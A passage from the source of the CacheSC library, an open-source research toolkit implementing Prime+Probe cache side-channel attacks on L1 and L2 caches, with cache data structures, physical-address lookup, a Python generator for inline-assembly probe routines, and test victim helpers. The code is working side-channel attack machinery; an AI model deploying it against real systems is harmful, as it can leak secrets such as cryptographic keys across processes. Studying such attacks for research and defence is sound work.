DEFAULT_FLAGS 0 52 | #define SET_FIRST(flags) SET_BIT(flags, 0) 53 | #define SET_LAST(flags) SET_BIT(flags, 1) 54 | #define SET_CACHE_GROUP_INIT(flags) SET_BIT(flags, 2) 55 | #define IS_FIRST(flags) GET_BIT(flags, 0) 56 | #define IS_LAST(flags) GET_BIT(flags, 1) 57 | #define IS_CACHE_GROUP_INIT(flags) GET_BIT(flags, 2) 58 | 59 | // Offset of the next and prev field in the cacheline struct 60 | #define CL_NEXT_OFFSET 0 61 | #define CL_PREV_OFFSET 8 62 | 63 | typedef enum cache_level cache_level; 64 | typedef enum addressing_type addressing_type; 65 | typedef struct cacheline cacheline; 66 | typedef struct cache_ctx cache_ctx; 67 | typedef uint32_t time_type; 68 | 69 | enum cache_level {L1, L2}; 70 | enum addressing_type {VIRTUAL, PHYSICAL}; 71 | 72 | struct cache_ctx { 73 | cache_level cache_level; 74 | addressing_type addressing; 75 | 76 | uint32_t sets; 77 | uint32_t associativity; 78 | uint32_t access_time; 79 | uint32_t nr_of_cachelines; 80 | uint32_t set_size; 81 | uint32_t cache_size; 82 | }; 83 | 84 | struct cacheline { 85 | // Doubly linked list inside same set 86 | // Attention: CL_NEXT_OFFSET and CL_PREV_OFFSET 87 | // must be kept up to date 88 | cacheline *next; 89 | cacheline *prev; 90 | 91 | uint16_t cache_set; 92 | uint16_t flags; 93 | time_type time_msrmt; 94 | 95 | // Unused padding to fill cache line 96 | char padding[CACHELINE_SIZE - 2 * sizeof(cacheline *) 97 | - 2 * sizeof(uint16_t) - sizeof(time_type)]; 98 | }; 99 | 100 | /* 101 | * Initialises the context for the given cache level. 102 | * Returns null for unsupported or unknown cache level. 103 | */ 104 | static cache_ctx *get_cache_ctx(cache_level cache_level) { 105 | cache_ctx *ctx = (cache_ctx *) malloc(sizeof(cache_ctx)); 106 | assert(ctx); 107 | 108 | if (cache_level == L1) { 109 | ctx->addressing = L1_ADDRESSING; 110 | ctx->sets = L1_SETS; 111 | ctx->associativity = L1_ASSOCIATIVITY; 112 | ctx->access_time = L1_ACCESS_TIME; 113 | } 114 | else if (cache_level == L2) { 115 | ctx->addressing = L2_ADDRESSING; 116 | ctx->sets = L2_SETS; 117 | ctx->associativity = L2_ASSOCIATIVITY; 118 | ctx->access_time = L2_ACCESS_TIME; 119 | } 120 | else { 121 | return NULL; 122 | } 123 | 124 | ctx->cache_level = cache_level; 125 | ctx->nr_of_cachelines = ctx->sets * ctx->associativity; 126 | ctx->set_size = CACHELINE_SIZE * ctx->associativity; 127 | ctx->cache_size = ctx->sets * ctx->set_size; 128 | 129 | return ctx; 130 | } 131 | 132 | static void release_cache_ctx(cache_ctx *ctx) { 133 | free(ctx); 134 | } 135 | 136 | /* 137 | * Removes bits that define the cache set from a pointer 138 | */ 139 | static void *remove_cache_set(cache_ctx *ctx, void *ptr) { 140 | return (void *) (((uintptr_t) ptr) & ~SET_MASK(ctx->sets)); 141 | } 142 | 143 | /* 144 | * Removes bits that define the cache set from a pointer 145 | */ 146 | static void *remove_cache_group_set(void *ptr) { 147 | return (void *) (((uintptr_t) ptr) & ~SET_MASK(CACHE_GROUP_SIZE)); 148 | } 149 | 150 | /* 151 | * Replace a cachline entry in the cache ds with another cacheline 152 | */ 153 | static void cl_replace(cacheline *new_cl, cacheline *old_cl) { 154 | old_cl->next->prev = new_cl; 155 | old_cl->prev->next = new_cl; 156 | 157 | new_cl->next = old_cl->next; 158 | new_cl->prev = old_cl->prev; 159 | } 160 | 161 | /* 162 | * Insert a cachline entry in the cache ds after the given cl 163 | */ 164 | static void cl_insert(cacheline *last_cl, cacheline *new_cl) { 165 | if (last_cl == NULL) { 166 | // Adding the first entry is a special case 167 | new_cl->next = new_cl; 168 | new_cl->prev = new_cl; 169 | } 170 | else { 171 | new_cl->next = last_cl->next; 172 | new_cl->prev = last_cl; 173 | last_cl->next->prev = new_cl; 174 | last_cl->next = new_cl; 175 | } 176 | } 177 | 178 | /* 179 | * Remove a cachline entry from the cache ds 180 | */ 181 | static void cl_remove(cacheline *cl) { 182 | if (cl->prev != NULL) { 183 | cl->prev->next = cl->next; 184 | } 185 | 186 | if (cl->next != NULL) { 187 | cl->next->prev = cl->prev; 188 | } 189 | } 190 | 191 | /* 192 | * Get the length of a cache datastructure (in # cachelines) 193 | */ 194 | static uint32_t get_cache_ds_len(cacheline *cache_ds) { 195 | uint32_t cnt = 0; 196 | cacheline *curr_cl = cache_ds; 197 | 198 | do { 199 | if (!curr_cl) { 200 | break; 201 | } 202 | ++cnt; 203 | curr_cl = curr_cl->prev; 204 | } while (curr_cl != cache_ds); 205 | 206 | return cnt; 207 | } 208 | 209 | /* 210 | * Check if privileges are sufficient to perform virtial to physical address 211 | * translation. 212 | */ 213 | static bool can_trans_phys_addrs(cache_ctx *ctx) { 214 | uintptr_t paddr = 0; 215 | return !get_phys_addr(&paddr, (uintptr_t) &paddr); 216 | } 217 | 218 | /* 219 | * Parse pointer to mask out the cache set to which it maps 220 | */ 221 | static uint16_t get_cache_set_helper(uint32_t sets, void *ptr) { 222 | return (uint16_t) ((((uintptr_t) ptr) & SET_MASK(sets)) / CACHELINE_SIZE); 223 | } 224 | 225 | /* 226 | * Get cache set to which the pointer maps with virtual addressing 227 | */ 228 | static uint16_t get_virt_cache_set(cache_ctx *ctx, void *ptr) { 229 | return get_cache_set_helper(ctx->sets, ptr); 230 | } 231 | 232 | /* 233 | * Get cache set to which the pointer maps with physical addressing 234 | */ 235 | static uint16_t get_phys_cache_set(cache_ctx *ctx, void *ptr) { 236 | uintptr_t paddr; 237 | 238 | assert(!get_phys_addr(&paddr, (uintptr_t) ptr)); 239 | 240 | if (paddr == 0) { 241 | printf("Virtual to physical address translation failed, might be " 242 | "due to insufficient privileges."); 243 | assert(0); 244 | } 245 | 246 | return get_cache_set_helper(ctx->sets, (void *) paddr); 247 | } 248 | 249 | /* 250 | * Get the cache set to which a pointer maps, taking virtual/physical addressing 251 | * into account. 252 | */ 253 | static uint16_t get_cache_set(cache_ctx *ctx, void *ptr) { 254 | if (ctx->addressing == VIRTUAL) { 255 | return get_virt_cache_set(ctx, ptr); 256 | } 257 | else { 258 | return get_phys_cache_set(ctx, ptr); 259 | } 260 | } 261 | 262 | /* 263 | * Returns the ceiled number of cache lines that are used by a chunk 264 | * of memory of the given size. 265 | */ 266 | static uint32_t get_spanned_cache_lines(cache_ctx *ctx, uint64_t size) { 267 | uint32_t spanned_cache_lines = (size + CACHELINE_SIZE - 1) / CACHELINE_SIZE; 268 | 269 | if (spanned_cache_lines > ctx->nr_of_cachelines) 270 | return ctx->nr_of_cachelines; 271 | else 272 | return spanned_cache_lines; 273 | } 274 | 275 | /* 276 | * Fancy print the P+P cache line 277 | */ 278 | static void print_cacheline(cacheline *cl) { 279 | printf("cacheline = {\n\tnext: %p,\n\tprev: %p,\n\tcache set: %d,\n\t" 280 | "time_msrmt: %u,\n\tflags: %x\n}\n", 281 | cl->next, cl->prev, cl->cache_set, cl->time_msrmt, cl->flags 282 | ); 283 | } 284 | 285 | /* 286 | * Fancy print cache context 287 | */ 288 | static void print_cache_ctx(cache_ctx *ctx) { 289 | printf("cache_ctx = {\n\tcache_level: %d,\n\tsets: %u,\n\tassociativity: %u,\n" 290 | "\taccess_time %u,\n\tnr_of_cachelines: %u,\n\tset_size: %u,\n" 291 | "\tcache_size: %u\n}\n", 292 | ctx->cache_level, ctx->sets, ctx->associativity, ctx->access_time, 293 | ctx->nr_of_cachelines, ctx->set_size, ctx->cache_size 294 | ); 295 | } 296 | 297 | #endif // HEADER_CACHE_CONF_H 298 | -------------------------------------------------------------------------------- /src/cachesc.h: -------------------------------------------------------------------------------- 1 | /* 2 | * This file is part of the CacheSC library (https://github.com/Miro-H/CacheSC), 3 | * which implements Prime+Probe attacks on virtually and physically indexed 4 | * caches. 5 | * 6 | * Copyright (C) 2020 Miro Haller 7 | * 8 | * This program is free software: you can redistribute it and/or modify 9 | * it under the terms of the GNU General Public License as published by 10 | * the Free Software Foundation, either version 3 of the License, or 11 | * (at your option) any later version. 12 | * 13 | * This program is distributed in the hope that it will be useful, 14 | * but WITHOUT ANY WARRANTY; without even the implied warranty of 15 | * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 16 | * GNU General Public License for more details. 17 | * 18 | * You should have received a copy of the GNU General Public License 19 | * along with this program. If not, see . 20 | * 21 | * Contact: miro.haller@alumni.ethz.ch 22 | * 23 | * Short description of this file: 24 | * Header file to include to use all functions of the CacheSC library 25 | */ 26 | 27 | #ifndef HEADER_CACHESC_H 28 | #define HEADER_CACHESC_H 29 | 30 | #include "cache.h" 31 | #include "io.h" 32 | #include "util.h" 33 | #include "victim.h" 34 | 35 | #endif // HEADER_CACHESC_H 36 | -------------------------------------------------------------------------------- /src/device_conf.h: -------------------------------------------------------------------------------- 1 | /* 2 | * This file is part of the CacheSC library (https://github.com/Miro-H/CacheSC), 3 | * which implements Prime+Probe attacks on virtually and physically indexed 4 | * caches. 5 | * 6 | * Copyright (C) 2020 Miro Haller 7 | * 8 | * This program is free software: you can redistribute it and/or modify 9 | * it under the terms of the GNU General Public License as published by 10 | * the Free Software Foundation, either version 3 of the License, or 11 | * (at your option) any later version. 12 | * 13 | * This program is distributed in the hope that it will be useful, 14 | * but WITHOUT ANY WARRANTY; without even the implied warranty of 15 | * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 16 | * GNU General Public License for more details. 17 | * 18 | * You should have received a copy of the GNU General Public License 19 | * along with this program. If not, see . 20 | * 21 | * Contact: miro.haller@alumni.ethz.ch 22 | * 23 | * Short description of this file: 24 | * This file contains all device specific parameters. They should be adapted 25 | * to the execution environment for best performance. Especially the cache level 26 | * sizes are crucial for the attack to work. 27 | */ 28 | 29 | #ifndef HEADER_DEVICE_CONF_H 30 | #define HEADER_DEVICE_CONF_H 31 | 32 | // General settings 33 | #define PAGE_SIZE 4096 34 | #define PROCESSOR_FREQ 2900000000 35 | 36 | // Cache related settings 37 | #define CACHELINE_SIZE 64 38 | #define CACHE_GROUP_SIZE (PAGE_SIZE / CACHELINE_SIZE) 39 | 40 | // Addressing: 41 | // - virtual: 0 42 | // - physical: 1 43 | #define L1_ADDRESSING 0 44 | #define L1_SETS 64 45 | #define L1_ASSOCIATIVITY 8 46 | #define L1_ACCESS_TIME 4 47 | 48 | #define L2_ADDRESSING 1 49 | #define L2_SETS 512 50 | #define L2_ASSOCIATIVITY 8 51 | #define L2_ACCESS_TIME 12 52 | 53 | #define L3_ADDRESSING 1 54 | #define L3_SETS 4096 55 | #define L3_ASSOCIATIVITY 16 56 | #define L3_ACCESS_TIME 30 57 | 58 | #endif // HEADER_DEVICE_CONF_H 59 | -------------------------------------------------------------------------------- /src/gen_cache_asm_files.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | # 4 | # This file is part of the CacheSC library (https://github.com/Miro-H/CacheSC), 5 | # which implements Prime+Probe attacks on virtually and physically indexed 6 | # caches. 7 | # 8 | # Copyright (C) 2020 Miro Haller 9 | # 10 | # This program is free software: you can redistribute it and/or modify 11 | # it under the terms of the GNU General Public License as published by 12 | # the Free Software Foundation, either version 3 of the License, or 13 | # (at your option) any later version. 14 | # 15 | # This program is distributed in the hope that it will be useful, 16 | # but WITHOUT ANY WARRANTY; without even the implied warranty of 17 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 18 | # GNU General Public License for more details. 19 | # 20 | # You should have received a copy of the GNU General Public License 21 | # along with this program. If not, see . 22 | # 23 | # Contact: miro.haller@alumni.ethz.ch 24 | # 25 | # Short description of this file: 26 | # This script generates inlined assembly code in C files. 27 | # The justification is that the unrolled assembly code depends on the 28 | # size of the cache and can therefore not be prepared statically. 29 | # 30 | 31 | import re 32 | import os 33 | 34 | from textwrap import dedent 35 | 36 | 37 | CACHE_LEVELS = ["L1", "L2"] 38 | 39 | CONF_FNAME = "device_conf.h" 40 | CACHE_TYPES_FNAME = "cache_types.h" 41 | START_TIMER_FN = "start_timer" 42 | STOP_TIMER_FN = "stop_timer" 43 | 44 | def extract_macro(macro_name, lines, type_conv=int): 45 | pattern = f"#define\s+{macro_name}\s+(.*)\n" 46 | 47 | for line in lines: 48 | match = re.search(pattern, line) 49 | if match: 50 | return type_conv(match.groups()[0]) 51 | 52 | # 53 | # Parse general config file 54 | # 55 | with open(CACHE_TYPES_FNAME, "r") as gen_conf_fp: 56 | lines = gen_conf_fp.readlines() 57 | 58 | CL_NEXT_OFFSET = extract_macro("CL_NEXT_OFFSET", lines) 59 | CL_PREV_OFFSET = extract_macro("CL_PREV_OFFSET", lines) 60 | 61 | for cache_level in CACHE_LEVELS: 62 | cache_level_lowercase = cache_level.lower() 63 | 64 | # 65 | # Parse config file 66 | # 67 | with open(CONF_FNAME, "r") as conf_fp: 68 | lines = conf_fp.readlines() 69 | 70 | SETS = extract_macro(f"{cache_level}_SETS", lines) 71 | ASSOCIATIVITY = extract_macro(f"{cache_level}_ASSOCIATIVITY", lines) 72 | 73 | assert(ASSOCIATIVITY >= 4 and ASSOCIATIVITY % 2 == 0) 74 | 75 | # 76 | # Generate C file with repetitive inlined assembly code 77 | # 78 | header = dedent(f"""\ 79 | /* 80 | * This file is generated by {os.path.basename(__file__)}. 81 | * MODIFICATIONS WILL THUS BE OVERWRITTEN. 82 | */ 83 | 84 | #ifndef HEADER_{cache_level}_ASM_H 85 | #define HEADER_{cache_level}_ASM_H 86 | 87 | #include "asm.h" 88 | #include "cache.h" 89 | #include "{CONF_FNAME}" 90 | 91 | """ 92 | ) 93 | 94 | footer = f"\n#endif // HEADER_{cache_level}_ASM_H" 95 | 96 | probe_cacheset = dedent(f""" 97 | // Traverse cache sets in reverse order for minimal cache impact 98 | static inline cacheline *asm_{cache_level_lowercase}_probe_cacheset(cacheline *curr_cl) {{ 99 | cacheline *next_cl; 100 | 101 | {START_TIMER_FN}(); 102 | asm volatile( 103 | "mov {CL_PREV_OFFSET}(%[curr_cl]), %%rax \\n\\t" 104 | "mov {CL_PREV_OFFSET}(%%rax), %%rcx \\n\\t" 105 | """ 106 | ) 107 | 108 | # The following weird indentation is necessary that the generated C file 109 | # is correctly indented 110 | probe_cacheset += f"""\ 111 | "mov {CL_PREV_OFFSET}(%%rcx), %%rax \\n\\t" 112 | "mov {CL_PREV_OFFSET}(%%rax), %%rcx \\n\\t" 113 | """ * ((ASSOCIATIVITY - 4) // 2) 114 | 115 | probe_cacheset += dedent(f"""\ 116 | "mov {CL_PREV_OFFSET}(%%rcx), %[curr_cl_out] \\n\\t" 117 | "mov {CL_PREV_OFFSET}(%[curr_cl_out]), %[next_cl_out] \\n\\t" 118 | : [next_cl_out] "=rm" (next_cl), [curr_cl_out] "=rm" (curr_cl) 119 | : [curr_cl] "r" (curr_cl) 120 | : "%rax", "%rcx" 121 | ); 122 | {STOP_TIMER_FN}(&(curr_cl->time_msrmt)); 123 | 124 | return next_cl; 125 | }} 126 | """ 127 | ) 128 | 129 | prime = dedent(f"""\ 130 | static inline cacheline *asm_{cache_level_lowercase}_prime(cacheline *curr_cl) {{ 131 | cpuid(); 132 | 133 | asm volatile( 134 | "mov {CL_NEXT_OFFSET}(%[curr_cl]), %%rax \\n\\t" 135 | "lfence \\n\\t" 136 | "mov {CL_NEXT_OFFSET}(%%rax), %%rcx \\n\\t" 137 | """ 138 | ) 139 | 140 | prime += f"""\ 141 | "mov {CL_NEXT_OFFSET}(%%rcx), %%rax \\n\\t" 142 | "lfence \\n\\t" 143 | "mov {CL_NEXT_OFFSET}(%%rax), %%rcx \\n\\t" 144 | """ * ( (SETS * ASSOCIATIVITY - 4) // 2) 145 | 146 | prime += dedent(f"""\ 147 | "mov {CL_NEXT_OFFSET}(%%rcx), %%rax \\n\\t" 148 | "lfence \\n\\t" 149 | "mov {CL_NEXT_OFFSET}(%%rax), %[curr_cl_out] \\n\\t" 150 | : [curr_cl_out] "=rm" (curr_cl) 151 | : [curr_cl] "r" (curr_cl) 152 | : "%rax", "%rcx" 153 | ); 154 | cpuid(); 155 | 156 | return curr_cl->prev; 157 | }} 158 | """ 159 | ) 160 | 161 | with open(f"{cache_level_lowercase}_asm.h", "w+") as asm_fp: 162 | asm_fp.write(header) 163 | asm_fp.write(probe_cacheset) 164 | #asm_fp.write(prime) 165 | asm_fp.write(footer) 166 | -------------------------------------------------------------------------------- /src/io.h: -------------------------------------------------------------------------------- 1 | /* 2 | * This file is part of the CacheSC library (https://github.com/Miro-H/CacheSC), 3 | * which implements Prime+Probe attacks on virtually and physically indexed 4 | * caches. 5 | * 6 | * Copyright (C) 2020 Miro Haller 7 | * 8 | * This program is free software: you can redistribute it and/or modify 9 | * it under the terms of the GNU General Public License as published by 10 | * the Free Software Foundation, either version 3 of the License, or 11 | * (at your option) any later version. 12 | * 13 | * This program is distributed in the hope that it will be useful, 14 | * but WITHOUT ANY WARRANTY; without even the implied warranty of 15 | * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 16 | * GNU General Public License for more details. 17 | * 18 | * You should have received a copy of the GNU General Public License 19 | * along with this program. If not, see . 20 | * 21 | * Contact: miro.haller@alumni.ethz.ch 22 | * 23 | * Short description of this file: 24 | * This file contains helper functions for well-arranged console output, 25 | * as well as post-processing compatible writing writing of log files. 26 | */ 27 | 28 | #ifndef HEADER_IO_H 29 | #define HEADER_IO_H 30 | 31 | #include 32 | #include 33 | #include 34 | 35 | #define PRINT_FLUSH(fmt, ...) \ 36 | printf(fmt, ## __VA_ARGS__); \ 37 | fflush(stdout) 38 | 39 | #define PRINT_LINE(fmt, ...) PRINT_FLUSH(INDENT(fmt), ## __VA_ARGS__) 40 | 41 | #define BANNER_LEN 60 42 | #define BANNER "################################################################\n" 43 | #define INDENT(msg) "#### " msg 44 | 45 | /* 46 | * Prints a message in a banner. 47 | * The `msg` should be <= 60 characters long and without line breaks. 48 | */ 49 | static void print_banner(const char *msg) { 50 | int msg_len = strlen(msg); 51 | int left_pad = (BANNER_LEN - msg_len + 1) / 2; 52 | int right_pad = (BANNER_LEN - msg_len) / 2; 53 | 54 | printf(BANNER); 55 | printf("# %*s%*s #\n", left_pad + msg_len, msg, right_pad, ""); 56 | PRINT_FLUSH(BANNER); 57 | } 58 | 59 | /* 60 | * Print an integer as a hex string. 61 | */ 62 | static void print_hex(const char *str, uint16_t str_len) { 63 | for (uint16_t i = 0; i < str_len; ++i) { 64 | printf("%02x", (const unsigned char) str[i]); 65 | } 66 | fflush(stdout); 67 | } 68 | 69 | /* 70 | * Print the results of the cache attack measurements in the format 71 | * that is expected by the post-processing parsing scripts. 72 | */ 73 | static void print_results(uint32_t *res, uint32_t sample_cnt, 74 | uint32_t sets_per_sample) 75 | { 76 | for (uint32_t i = 0; i < sample_cnt; ++i) { 77 | PRINT_LINE("Sample number %d:\n", i); 78 | 79 | for (uint32_t j = 0; j < sets_per_sample; ++j) { 80 | printf("%3d ", res[i * sets_per_sample + j]); 81 | } 82 | putchar('\n'); 83 | } 84 | fflush(stdout); 85 | } 86 | 87 | #endif // HEADER_IO_H 88 | -------------------------------------------------------------------------------- /src/util.c: -------------------------------------------------------------------------------- 1 | /* 2 | * This file is part of the CacheSC library (https://github.com/Miro-H/CacheSC), 3 | * which implements Prime+Probe attacks on virtually and physically indexed 4 | * caches. 5 | * 6 | * Copyright (C) 2020 Miro Haller 7 | * 8 | * This program is free software: you can redistribute it and/or modify 9 | * it under the terms of the GNU General Public License as published by 10 | * the Free Software Foundation, either version 3 of the License, or 11 | * (at your option) any later version. 12 | * 13 | * This program is distributed in the hope that it will be useful, 14 | * but WITHOUT ANY WARRANTY; without even the implied warranty of 15 | * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 16 | * GNU General Public License for more details. 17 | * 18 | * You should have received a copy of the GNU General Public License 19 | * along with this program. If not, see . 20 | * 21 | * Contact: miro.haller@alumni.ethz.ch 22 | * 23 | * Short description of this file: 24 | * This file implements a collection of miscellaneous utilities. Some are useful 25 | * for library internal functions, some can be convenient for for external 26 | * users as well. 27 | */ 28 | 29 | #include "util.h" 30 | 31 | 32 | // local functions 33 | void swap(uint32_t *e1, uint32_t *e2); 34 | 35 | /* 36 | * Sets the CPU affinity of the running process to the given parameter 37 | */ 38 | void pin_to_cpu(int cpu) { 39 | cpu_set_t cpuset; 40 | 41 | CPU_ZERO(&cpuset); 42 | CPU_SET(cpu, &cpuset); 43 | assert(sched_setaffinity(0, sizeof(cpu_set_t), &cpuset) >= 0); 44 | } 45 | 46 | void set_seed() { 47 | srand(time(NULL)); 48 | } 49 | 50 | /* 51 | * Fills an array of the given length with random bytes. 52 | */ 53 | void gen_rand_bytes(unsigned char *arr, uint32_t arr_len) { 54 | for (uint32_t i = 0; i < arr_len; ++i) { 55 | arr[i] = rand() % 256; 56 | } 57 | } 58 | 59 | /* 60 | * Swap elements e1 and e2 of an array 61 | */ 62 | void swap(uint32_t *e1, uint32_t *e2) { 63 | uint32_t tmp = *e1; 64 | *e1 = *e2; 65 | *e2 = tmp; 66 | } 67 | 68 | /* 69 | * This computes a random permutation of the input array 70 | * using the Fisher-Yates shuffle algorithm 71 | */ 72 | void random_perm(uint32_t *arr, uint32_t arr_len) { 73 | uint32_t swap_idx; 74 | 75 | for (uint32_t i = arr_len - 1; i > 0; --i) { 76 | swap_idx = rand() % i; 77 | swap(arr + i, arr + swap_idx); 78 | } 79 | } 80 | 81 | /* 82 | * This creates an array of a random permutation of the indices 0, 1, ..., arr_len-1 83 | */ 84 | void gen_random_indices(uint32_t *arr, uint32_t arr_len) { 85 | for (uint32_t i = 0; i < arr_len; ++i) { 86 | arr[i] = i; 87 | } 88 | random_perm(arr, arr_len); 89 | } 90 | 91 | /* 92 | * Check if an element is in the given array 93 | */ 94 | bool is_in_arr(uint32_t elem, uint32_t *arr, uint32_t arr_len) { 95 | uint32_t i; 96 | 97 | for (i = 0; i < arr_len; ++i) { 98 | if (arr[i] == elem) 99 | return true; 100 | } 101 | 102 | return false; 103 | } 104 | 105 | /* 106 | * Calculate the average of an array 107 | */ 108 | double get_avg(uint32_t *arr, uint32_t arr_len) { 109 | double avg = 0; 110 | 111 | // Calculate the continuous average to avoid overflow issues 112 | for (uint32_t i = 0; i < arr_len; ++i) { 113 | avg = ((i * avg) + arr[i]) / (i + 1); 114 | } 115 | 116 | return avg; 117 | } 118 | 119 | /* 120 | * Return the maximum element of an array 121 | */ 122 | uint32_t get_max(uint32_t *arr, uint32_t arr_len) { 123 | uint32_t max = 0; 124 | 125 | for (uint32_t i = 0; i < arr_len; ++i) { 126 | if (arr[i] > max) { 127 | max = arr[i]; 128 | } 129 | } 130 | 131 | return max; 132 | } 133 | 134 | /* 135 | * Return the minimum element of an array 136 | */ 137 | uint32_t get_min(uint32_t *arr, uint32_t arr_len) { 138 | uint32_t min = UINT32_MAX; 139 | 140 | for (uint32_t i = 0; i < arr_len; ++i) { 141 | if (arr[i] < min) { 142 | min = arr[i]; 143 | } 144 | } 145 | 146 | return min; 147 | } 148 | -------------------------------------------------------------------------------- /src/util.h: -------------------------------------------------------------------------------- 1 | /* 2 | * This file is part of the CacheSC library (https://github.com/Miro-H/CacheSC), 3 | * which implements Prime+Probe attacks on virtually and physically indexed 4 | * caches. 5 | * 6 | * Copyright (C) 2020 Miro Haller 7 | * 8 | * This program is free software: you can redistribute it and/or modify 9 | * it under the terms of the GNU General Public License as published by 10 | * the Free Software Foundation, either version 3 of the License, or 11 | * (at your option) any later version. 12 | * 13 | * This program is distributed in the hope that it will be useful, 14 | * but WITHOUT ANY WARRANTY; without even the implied warranty of 15 | * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 16 | * GNU General Public License for more details. 17 | * 18 | * You should have received a copy of the GNU General Public License 19 | * along with this program. If not, see . 20 | * 21 | * Contact: miro.haller@alumni.ethz.ch 22 | * 23 | * Short description of this file: 24 | * This file defines a collection of miscellaneous utilities. Some are useful 25 | * for library internal functions, some can be convenient for for external 26 | * users as well. 27 | */ 28 | 29 | #ifndef HEADER_UTIL_H 30 | #define HEADER_UTIL_H 31 | 32 | #ifndef _GNU_SOURCE 33 | #define _GNU_SOURCE 34 | #endif 35 | 36 | #include 37 | #include 38 | #include 39 | #include 40 | #include 41 | #include 42 | 43 | void pin_to_cpu(int cpu); 44 | 45 | void set_seed(void); 46 | void gen_rand_bytes(unsigned char *arr, uint32_t arr_len); 47 | void random_perm(uint32_t *arr, uint32_t arr_len); 48 | void gen_random_indices(uint32_t *arr, uint32_t arr_len); 49 | 50 | bool is_in_arr(uint32_t elem, uint32_t *arr, uint32_t arr_len); 51 | 52 | double get_avg(uint32_t *arr, uint32_t arr_len); 53 | uint32_t get_max(uint32_t *arr, uint32_t arr_len); 54 | uint32_t get_min(uint32_t *arr, uint32_t arr_len); 55 | 56 | #endif // HEADER_UTIL_H 57 | -------------------------------------------------------------------------------- /src/victim.c: -------------------------------------------------------------------------------- 1 | /* 2 | * This file is part of the CacheSC library (https://github.com/Miro-H/CacheSC), 3 | * which implements Prime+Probe attacks on virtually and physically indexed 4 | * caches. 5 | * 6 | * Copyright (C) 2020 Miro Haller 7 | * 8 | * This program is free software: you can redistribute it and/or modify 9 | * it under the terms of the GNU General Public License as published by 10 | * the Free Software Foundation, either version 3 of the License, or 11 | * (at your option) any later version. 12 | * 13 | * This program is distributed in the hope that it will be useful, 14 | * but WITHOUT ANY WARRANTY; without even the implied warranty of 15 | * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 16 | * GNU General Public License for more details. 17 | * 18 | * You should have received a copy of the GNU General Public License 19 | * along with this program. If not, see . 20 | * 21 | * Contact: miro.haller@alumni.ethz.ch 22 | * 23 | * Short description of this file: 24 | * This file contains functions to prepare victim data structure(s) to test 25 | * P+P attacks. 26 | */ 27 | 28 | #include "victim.h" 29 | 30 | /* 31 | * This prepares a cache line that is in a given set. This can be used to mimic 32 | * the access of a single cache line. 33 | * In case of unprivileged physical access, the target set is only accurate modulo 34 | * the CACHE_GROUP_SIZE. 35 | */ 36 | cacheline *prepare_victim(cache_ctx *ctx, uint32_t target_set) { 37 | cacheline *victim_set_ds = prepare_cache_set_ds(ctx, &target_set, 1); 38 | cacheline *victim_cl = victim_set_ds; 39 | 40 | // Free the other lines in the same set that are not used. 41 | if (ctx->addressing == PHYSICAL) { 42 | cacheline *curr_cl = victim_cl->next; 43 | cacheline *next_cl; 44 | 45 | do { 46 | next_cl = curr_cl->next; 47 | // Here, it is ok to free them directly, as every line in the same 48 | // set is from a different page anyway. 49 | free(remove_cache_group_set(curr_cl)); 50 | curr_cl = next_cl; 51 | } while(curr_cl != victim_cl); 52 | } 53 | 54 | return victim_cl; 55 | } 56 | 57 | /* 58 | * Release the victim, taking into account with which method it was allocated 59 | */ 60 | void release_victim(cache_ctx *ctx, cacheline *victim_cl) { 61 | if (ctx->addressing == VIRTUAL) { 62 | free(remove_cache_set(ctx, victim_cl)); 63 | } 64 | else { 65 | free(remove_cache_group_set(victim_cl)); 66 | } 67 | } 68 | -------------------------------------------------------------------------------- /src/victim.h: -------------------------------------------------------------------------------- 1 | /* 2 | * This file is part of the CacheSC library (https://github.com/Miro-H/CacheSC), 3 | * which implements Prime+Probe attacks on virtually and physically indexed 4 | * caches. 5 | * 6 | * Copyright (C) 2020 Miro Haller 7 | * 8 | * This program is free software: you can redistribute it and/or modify 9 | * it under the terms of the GNU General Public License as published by 10 | * the Free Software Foundation, either version 3 of the License, or 11 | * (at your option) any later version. 12 | * 13 | * This program is distributed in the hope that it will be useful, 14 | * but WITHOUT ANY WARRANTY; without even the implied warranty of 15 | * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 16 | * GNU General Public License for more details. 17 | * 18 | * You should have received a copy of the GNU General Public License 19 | * along with this program. If not, see . 20 | * 21 | * Contact: miro.haller@alumni.ethz.ch 22 | * 23 | * Short description of this file: 24 | * This file contains a collection of "victims" that implement basic cache 25 | * eviction scenarios of possible victim processes. 26 | */ 27 | 28 | #ifndef HEADER_VICTIM_H 29 | #define HEADER_VICTIM_H 30 | 31 | #ifndef _GNU_SOURCE 32 | #define _GNU_SOURCE 33 | #endif 34 | 35 | #include 36 | #include 37 | #include 38 | 39 | #include "asm.h" 40 | #include "cache.h" 41 | 42 | cacheline *prepare_victim(cache_ctx *ctx, uint32_t target_set); 43 | void release_victim(cache_ctx *ctx, cacheline *victim); 44 | 45 | __attribute__((always_inline)) 46 | static inline void victim(void *p); 47 | __attribute__((always_inline)) 48 | static inline void victim_clflush(void *p); 49 | __attribute__((always_inline)) 50 | static inline void victim_loop(void *p, uint32_t nr); 51 | __attribute__((always_inline)) 52 | static inline void victim_access_until_cached(cache_ctx *ctx, void *p); 53 | __attribute__((always_inline)) 54 | 55 | 56 | /* 57 | * Basic victim: makes a single pointer access, protected against previous 58 | * memory accesses. 59 | */ 60 | static inline void victim(void *p) { 61 | mfence(); 62 | readq(p); 63 | } 64 | 65 | /* 66 | * Explicitly flush a pointer from all cache levels. 67 | */ 68 | static inline void victim_clflush(void *p) { 69 | clflush(p); 70 | } 71 | 72 | /* 73 | * Repeatedly access the same pointer to increase the chance that it is cached 74 | * in case some sophisticated priorisation is performed. 75 | */ 76 | static inline void victim_loop(void *p, uint32_t nr) { 77 | for (uint32_t i = 0; i < nr; ++i) { 78 | victim(p); 79 | } 80 | } 81 | 82 | /* 83 | * Access a pointer until the measured access time corresponds to the 84 | * expected latency of the given cache level. 85 | */ 86 | static inline void victim_access_until_cached(cache_ctx *ctx, void *p) { 87 | while(!is_cached(ctx, p)); 88 | } 89 | 90 | #endif // HEADER_VICTIM_H 91 | --------------------------------------------------------------------------------